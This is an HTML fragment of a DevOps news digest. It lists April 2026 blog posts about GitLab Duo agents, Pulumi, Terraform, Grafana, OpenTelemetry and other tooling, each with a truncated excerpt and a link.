              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Teams using GitLab Duo Agent Platform with on-demand GitLab Credits are shipping faster, catching bugs earlier, and automating tasks that used to take entire sprints. But as adoption grows, so does ov</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/gitlab-18-11-budget-guardrails-for-gitlab-credits/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-claude-opus-47-is-now-available-in-gitlab-duo-agent-platform" class="group relative scroll-mt-24">
        <a href="#h3-claude-opus-47-is-now-available-in-gitlab-duo-agent-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Claude Opus 4.7 is now available in GitLab Duo Agent Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-claude-opus-47-is-now-available-in-gitlab-duo-agent-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The GitLab Duo Agent Platform now supports Claude Opus 4.7, Anthropic&#39;s latest model, available today via model selection in Agentic Chat and across agent-powered workflows in your GitLab instance. Fo</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/claude-opus-4-7-is-now-available-in-gitlab-duo-agent-platform/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-1811-ci-expert-and-data-analyst-ai-agents-target-development-gaps" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-1811-ci-expert-and-data-analyst-ai-agents-target-development-gaps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab 18.11: CI Expert and Data Analyst AI agents target development gaps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-1811-ci-expert-and-data-analyst-ai-agents-target-development-gaps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI-generated code moves faster than the systems around it can keep up with. More code means more merge requests queued, more pipelines to configure, more questions about delivery that nobody has time </p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/ci-expert-and-data-analyst-ai-agents-target-development-gaps/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-1811-automate-remediation-with-ready-to-merge-ai-code-fixes" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-1811-automate-remediation-with-ready-to-merge-ai-code-fixes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab 18.11: Automate remediation with ready-to-merge AI code fixes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-1811-automate-remediation-with-ready-to-merge-ai-code-fixes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI is writing code faster than any security team can review it. What used to be a manageable backlog of static application security testing (SAST) vulnerabilities is now an overwhelming list that has </p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/automate-remediation-with-ready-to-merge-ai-code-fixes/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-pulumi-cloud-rest-api-docs-now-generated-from-openapi" class="group relative scroll-mt-24">
        <a href="#h3-pulumi-cloud-rest-api-docs-now-generated-from-openapi" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Pulumi Cloud REST API Docs, Now Generated from OpenAPI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pulumi-cloud-rest-api-docs-now-generated-from-openapi"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Pulumi Cloud REST API reference is now generated directly from the live OpenAPI spec at build time. Every endpoint, parameter, request body, and response schema you see on the page comes from the </p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/rest-api-docs-from-openapi/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-sagemaker-hyperpod-now-supports-flexible-instance-groups" class="group relative scroll-mt-24">
        <a href="#h3-amazon-sagemaker-hyperpod-now-supports-flexible-instance-groups" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon SageMaker HyperPod now supports flexible instance groups
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-sagemaker-hyperpod-now-supports-flexible-instance-groups"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon SageMaker HyperPod now supports flexible instance groups, enabling customers to specify multiple instance types and multiple subnets within a single instance group. Customers running training a</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/sagemaker-hyperpod-flexible-instance-groups/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-create-expert-content-deploying-a-multi-agent-system-with-terraform-and-cloud-run" class="group relative scroll-mt-24">
        <a href="#h3-create-expert-content-deploying-a-multi-agent-system-with-terraform-and-cloud-run" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Create Expert Content: Deploying a Multi-Agent System with Terraform and Cloud Run
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-create-expert-content-deploying-a-multi-agent-system-with-terraform-and-cloud-run"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In support of our mission to accelerate the developer journey on Google Cloud, we built Dev Signal: a multi-agent system designed to transform raw community signals into reliable technical guidance by</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/developers-practitioners/create-expert-content-deploying-a-multi-agent-system-with-terraform-and-cloud-run/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scan-aws-govcloud-and-more-partitions-with-pulumi-insights" class="group relative scroll-mt-24">
        <a href="#h3-scan-aws-govcloud-and-more-partitions-with-pulumi-insights" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Scan AWS GovCloud and more partitions with Pulumi Insights
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scan-aws-govcloud-and-more-partitions-with-pulumi-insights"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Pulumi Insights account scanning now supports every AWS partition. If your workloads run in GovCloud, China, the European Sovereign Cloud, or one of the ISO intelligence-community clouds, you can get </p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/scan-aws-govcloud-china-with-pulumi-insights/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-manage-synthetic-monitoring-checks-as-code-with-terraform-and-grafana-cloud" class="group relative scroll-mt-24">
        <a href="#h3-how-to-manage-synthetic-monitoring-checks-as-code-with-terraform-and-grafana-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to manage synthetic monitoring checks as code with Terraform and Grafana Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-manage-synthetic-monitoring-checks-as-code-with-terraform-and-grafana-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As teams scale, managing synthetic monitoring checks manually in the UI becomes difficult and error-prone. When you&#39;re dealing with dozens of checks across multiple environments, teams experience inco</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/how-to-manage-synthetic-monitoring-checks-as-code-with-terraform-and-grafana-cloud/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-welcome-highlight-to-launchdarkly-building-the-future-of-guarded-releases-together" class="group relative scroll-mt-24">
        <a href="#h3-welcome-highlight-to-launchdarkly-building-the-future-of-guarded-releases-together" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Welcome Highlight to LaunchDarkly: building the future of Guarded Releases together
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-welcome-highlight-to-launchdarkly-building-the-future-of-guarded-releases-together"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Highlight&#39;s observability suite will help us revolutionize software releases.</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/welcome-highlight-to-launchdarkly/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-mcp-security-containerization-and-red-hat-openshift-integration" class="group relative scroll-mt-24">
        <a href="#h3-mcp-security-containerization-and-red-hat-openshift-integration" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 MCP security: Containerization and Red Hat OpenShift integration
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-mcp-security-containerization-and-red-hat-openshift-integration"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In our previous 3 articles, we laid the groundwork for a protected Model Context Protocol (MCP) ecosystem by analyzing the current threat landscape, implementing robust authentication and authorizatio</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/mcp-security-containerization-and-red-hat-openshift-integration"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-opentelemetry-accepted-elastics-php-distro-donation" class="group relative scroll-mt-24">
        <a href="#h3-opentelemetry-accepted-elastics-php-distro-donation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenTelemetry Accepted Elastic's PHP Distro Donation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-opentelemetry-accepted-elastics-php-distro-donation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The OpenTelemetry community accepted the donation of the OpenTelemetry PHP Distro project. This post summarizes what the donation enables, how it relates to existing PHP instrumentation paths, and whe</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/otel-php-distro-donation-update/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-agentic-shift-key-takeaways-from-idc-directions-2026" class="group relative scroll-mt-24">
        <a href="#h3-the-agentic-shift-key-takeaways-from-idc-directions-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Agentic Shift: Key Takeaways from IDC Directions 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-agentic-shift-key-takeaways-from-idc-directions-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>he Agentic Shift demands new observability. IDC shares 4 key trends, including the Agent Economy and AI-Ready Infrastructure, making agentic tracing and AI observability crucial.</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/ai/agentic-shift-idc-directions-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-debugging-multi-agent-ai-when-the-failure-is-in-the-space-between-agents" class="group relative scroll-mt-24">
        <a href="#h3-debugging-multi-agent-ai-when-the-failure-is-in-the-space-between-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Debugging multi-agent AI: When the failure is in the space between agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-debugging-multi-agent-ai-when-the-failure-is-in-the-space-between-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I&#39;ve been building a multi-agent research system. The idea is simple: give it a controversial technical topic like &quot;Should we rewrite our Python backend in Rust...</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/debugging-multi-agent-ai-when-the-failure-is-in-the-space-between-agents/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-optimized-monitoring-for-hybrid-environments-with-ict-solutions" class="group relative scroll-mt-24">
        <a href="#h3-optimized-monitoring-for-hybrid-environments-with-ict-solutions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Optimized Monitoring for Hybrid Environments with ICT Solutions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-optimized-monitoring-for-hybrid-environments-with-ict-solutions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>ICT Solutions is a managed service provider (MSP) specializing in fully managed IT Support, cloud, cybersecurity and more. Based in Liverpool, they offer IT support across the UK. They work together w</p>
<p><strong>📅 Apr 15, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/optimized-monitoring-for-hybrid-environments-with-ict-solutions/32839/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-your-guide-to-grafanacon-2026-in-barcelona" class="group relative scroll-mt-24">
        <a href="#h3-your-guide-to-grafanacon-2026-in-barcelona" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Your guide to GrafanaCON 2026 in Barcelona
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-your-guide-to-grafanacon-2026-in-barcelona"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Oh my Gaudi, GrafanaCON 2026 in Barcelona is almost here. Join us 20–22 April for our largest community conference that celebrates Grafana and its extended open source ecosystem, including the standar</p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/grafanacon-2026-in-barcelona-what-not-to-miss/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-grafana-alerting-respond-faster-and-get-situational-awareness-with-alert-enrichment-in-grafana-cloud" class="group relative scroll-mt-24">
        <a href="#h3-grafana-alerting-respond-faster-and-get-situational-awareness-with-alert-enrichment-in-grafana-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Grafana Alerting: Respond faster and get situational awareness with alert enrichment in Grafana Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-grafana-alerting-respond-faster-and-get-situational-awareness-with-alert-enrichment-in-grafana-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Alerts are meant to help teams respond quickly to problems, but too often they arrive without enough context to be immediately useful. An alert that says “CPU usage is high” still leaves the on-call e</p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/grafana-alerting-respond-faster-and-get-situational-awareness-with-alert-enrichment-in-grafana-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-troubleshooting-environment-with-ai-analysis-in-aws-elastic-beanstalk" class="group relative scroll-mt-24">
        <a href="#h3-troubleshooting-environment-with-ai-analysis-in-aws-elastic-beanstalk" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Troubleshooting environment with AI analysis in AWS Elastic Beanstalk
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-troubleshooting-environment-with-ai-analysis-in-aws-elastic-beanstalk"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Introduction AWS Elastic Beanstalk simplifies the process of deploying and scaling web applications. You upload your code, and Elastic Beanstalk handles capacity provisioning, load balancing, auto sca</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/troubleshooting-environment-with-ai-analysis-in-aws-elastic-beanstalk/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-a-faster-way-to-pinpoint-performance-bottlenecks-using-profiles-drilldown-with-grafana-cloud-knowledge-graph" class="group relative scroll-mt-24">
        <a href="#h3-a-faster-way-to-pinpoint-performance-bottlenecks-using-profiles-drilldown-with-grafana-cloud-knowledge-graph" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A faster way to pinpoint performance bottlenecks: Using Profiles Drilldown with Grafana Cloud Knowledge Graph
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-faster-way-to-pinpoint-performance-bottlenecks-using-profiles-drilldown-with-grafana-cloud-knowledge-graph"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When you identify CPU or memory spikes in your services, it’s critical to understand why they’re happening. But switching between tools or crafting complex queries can slow you down when trying to pin</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/a-faster-way-to-pinpoint-performance-bottlenecks-using-profiles-drilldown-with-grafana-cloud-knowledge-graph/"><strong>🔗 Read more</strong></a></p>
<hr>
